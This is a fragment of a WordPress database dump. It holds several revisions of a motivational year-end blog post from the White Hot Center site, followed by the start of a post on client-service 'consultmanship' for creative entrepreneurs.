(1835, 2, '2011-12-16 14:54:01', '2011-12-16 21:54:01', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\r\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\r\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\r\n\r\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\r\n\r\n•     why am I following this vision?\r\n•     why am I still driven to keep going?\r\n•     why do I want this desire?\r\n\r\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\r\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate your accomplishments.</h2>\r\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\r\n\r\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\r\n\r\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\r\n\r\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\r\n\r\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\r\n\r\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\r\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\r\nAt the end of the day, everything you desire is within you to bring out into the world. When you know why you’re doing something important to you, it gets easier to see everything you require to make it happen you already have within you. There’s nothing “out there”.\r\n\r\nIn spite of the challenges this past year and those to come next, here’s why I’m still committed to pursuing my vision for a bigger future:\r\n\r\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express, ideas, forms and structures people can use as maps and vehicles for their journey.</strong>\r\n\r\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to work with successful people who value my contributions to their success. All that’s required for my success is always available to me. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\r\n\r\nThere you have it. To all the readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\r\n\r\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\r\n\r\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-3', '', '', '2011-12-16 14:54:01', '2011-12-16 21:54:01', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-3/', 0, 'revision', '', 0),
(1836, 2, '2011-12-16 15:02:09', '2011-12-16 22:02:09', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\n\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\n\n•     why am I following this vision?\n•     why am I still driven to keep going?\n•     why do I want this desire?\n\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate your accomplishments.</h2>\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\n\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\n\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\n\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\n\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\n\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\nEverything you desire to bring to the world begins within you. When you know why you’re doing something important to you, it gets easier to believe everything you require to make it happen you already have within you. You can''t create from “out there”.\n\nIn spite of the challenges this past year and those to come next, here’s why I’m still committed to pursuing my vision for a bigger future:\n\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express, ideas, forms and structures people can use as maps and vehicles for their journey.</strong>\n\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to work with successful people who value my contributions to their success. All that’s required for my success is always available to me. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\n\nThere you have it. To all the good readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\n\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\n\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-4', '', '', '2011-12-16 15:02:09', '2011-12-16 22:02:09', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-4/', 0, 'revision', '', 0),
(1837, 2, '2011-12-16 15:02:13', '2011-12-16 22:02:13', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\r\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\r\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\r\n\r\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\r\n\r\n•     why am I following this vision?\r\n•     why am I still driven to keep going?\r\n•     why do I want this desire?\r\n\r\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\r\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate your accomplishments.</h2>\r\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\r\n\r\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\r\n\r\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\r\n\r\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\r\n\r\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\r\n\r\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\r\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\r\nEverything you desire to bring to the world begins within you. When you know why you’re doing something important to you, it gets easier to believe everything you require to make it happen you already have within you. You can''t create from “out there”.\r\n\r\nIn spite of the challenges this past year and those to come next, here’s why I’m still committed to pursuing my vision for a bigger future:\r\n\r\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express, ideas, forms and structures people can use as maps and vehicles for their journey.</strong>\r\n\r\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to work with successful people who value my contributions to their success. All that’s required for my success is always available to me. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\r\n\r\nThere you have it. To all the good readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\r\n\r\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\r\n\r\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-5', '', '', '2011-12-16 15:02:13', '2011-12-16 22:02:13', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-5/', 0, 'revision', '', 0),
(1838, 2, '2011-12-16 15:02:21', '2011-12-16 22:02:21', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\r\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\r\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\r\n\r\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\r\n\r\n•     why am I following this vision?\r\n•     why am I still driven to keep going?\r\n•     why do I want this desire?\r\n\r\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\r\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate your accomplishments.</h2>\r\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\r\n\r\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\r\n\r\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\r\n\r\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\r\n\r\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\r\n\r\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\r\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\r\nEverything you desire to bring to the world begins within you. When you know why you’re doing something important to you, it gets easier to believe everything you require to make it happen you already have within you. You can''t create from “out there”.\r\n\r\nIn spite of the challenges this past year and those to come next, here’s why I’m still committed to pursuing my vision for a bigger future:\r\n\r\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express, ideas, forms and structures people can use as maps and vehicles for their journey.</strong>\r\n\r\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to work with successful people who value my contributions to their success. All that’s required for my success is always available to me. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\r\n\r\nThere you have it. To all the good readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\r\n\r\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\r\n\r\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-6', '', '', '2011-12-16 15:02:21', '2011-12-16 22:02:21', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-6/', 0, 'revision', '', 0),
(1839, 2, '2011-12-16 15:08:32', '2011-12-16 22:08:32', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\n\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\n\n•     why am I following this vision?\n•     why am I still driven to keep going?\n•     why do I want this desire?\n\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate any of your accomplishments.</h2>\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\n\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\n\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\n\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\n\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\n\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\nEverything you desire to bring to the world begins within you. When you know why you’re doing something important to you, it gets easier to believe everything you require to make it happen you already have within you. You can''t create from “out there”.\n\nIn spite of the challenges this past year and those to come next, here’s why I’m still committed to pursuing my vision for a bigger future:\n\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express, ideas, forms and structures people can use as maps and vehicles for their journey.</strong>\n\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to work with successful people who value my contributions to their success. All that’s required for my success is always available to me. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\n\nThere you have it. Why not make 22012 the best year yet? To all the good readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\n\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\n\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-7', '', '', '2011-12-16 15:08:32', '2011-12-16 22:08:32', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-7/', 0, 'revision', '', 0),
(1840, 2, '2011-12-16 15:18:52', '2011-12-16 22:18:52', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\n\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\n\n•     why am I following this vision?\n•     why am I still driven to keep going?\n•     why do I want this desire?\n\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate any of your accomplishments.</h2>\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\n\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\n\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\n\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\n\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\n\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\nDespite any evidence that nothing is working, everything you desire to bring to the world begins within you. When you know why you’re engaged in something really important to you, it gets easier to believe everything required to make it happen you already have within you. You can''t create anything from “out there”.\n\nIn spite of the challenges of  this past year and those to come next, I am, more than ever, committed to my vision for a bigger future. My purpose provides the  reason why I continue to keep moving, learning and growing each and every day:\n\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</strong>\n\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to work with successful people who value my contributions to their success. All that’s required for my success is always available to me. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\n\nThere you have it. Why not make 2012 the best year yet? To all the good readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\n\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\n\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-8', '', '', '2011-12-16 15:18:52', '2011-12-16 22:18:52', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-8/', 0, 'revision', '', 0),
(1841, 2, '2011-12-16 15:19:48', '2011-12-16 22:19:48', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\r\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\r\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\r\n\r\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\r\n\r\n•     why am I following this vision?\r\n•     why am I still driven to keep going?\r\n•     why do I want this desire?\r\n\r\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\r\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate any of your accomplishments.</h2>\r\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\r\n\r\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\r\n\r\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\r\n\r\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\r\n\r\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\r\n\r\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\r\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\r\nDespite any evidence that nothing is working, everything you desire to bring to the world begins within you. When you know why you’re engaged in something really important to you, it gets easier to believe everything required to make it happen you already have within you. You can''t create anything from “out there”.\r\n\r\nIn spite of the challenges of  this past year and those to come next, I am, more than ever, committed to my vision for a bigger future. My purpose provides the  reason why I continue to keep moving, learning and growing each and every day:\r\n\r\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</strong>\r\n\r\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love working and collaborating with successful people who value my contributions to their success. All that’s required for my success available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\r\n\r\nThere you have it. Why not make 2012 the best year yet? To all the good readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\r\n\r\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\r\n\r\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-9', '', '', '2011-12-16 15:19:48', '2011-12-16 22:19:48', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-9/', 0, 'revision', '', 0),
(1842, 2, '2011-12-16 15:20:03', '2011-12-16 22:20:03', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\r\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\r\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\r\n\r\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\r\n\r\n•     why am I following this vision?\r\n•     why am I still driven to keep going?\r\n•     why do I want this desire?\r\n\r\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\r\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate any of your accomplishments.</h2>\r\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\r\n\r\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\r\n\r\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\r\n\r\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\r\n\r\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\r\n\r\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\r\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\r\nDespite any evidence that nothing is working, everything you desire to bring to the world begins within you. When you know why you’re engaged in something really important to you, it gets easier to believe everything required to make it happen you already have within you. You can''t create anything from “out there”.\r\n\r\nIn spite of the challenges of  this past year and those to come next, I am, more than ever, committed to my vision for a bigger future. My purpose provides the  reason why I continue to keep moving, learning and growing each and every day:\r\n\r\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</strong>\r\n\r\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love working and collaborating with successful people who value my contributions to their success. All that’s required for my success available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\r\n\r\nThere you have it. Why not make 2012 the best year yet? To all the good readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\r\n\r\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\r\n\r\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-10', '', '', '2011-12-16 15:20:03', '2011-12-16 22:20:03', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-10/', 0, 'revision', '', 0);
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(1844, 2, '2011-12-23 14:31:13', '2011-12-23 21:31:13', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal to you the value of the solution to them.You''re there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client has the minimum money you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued 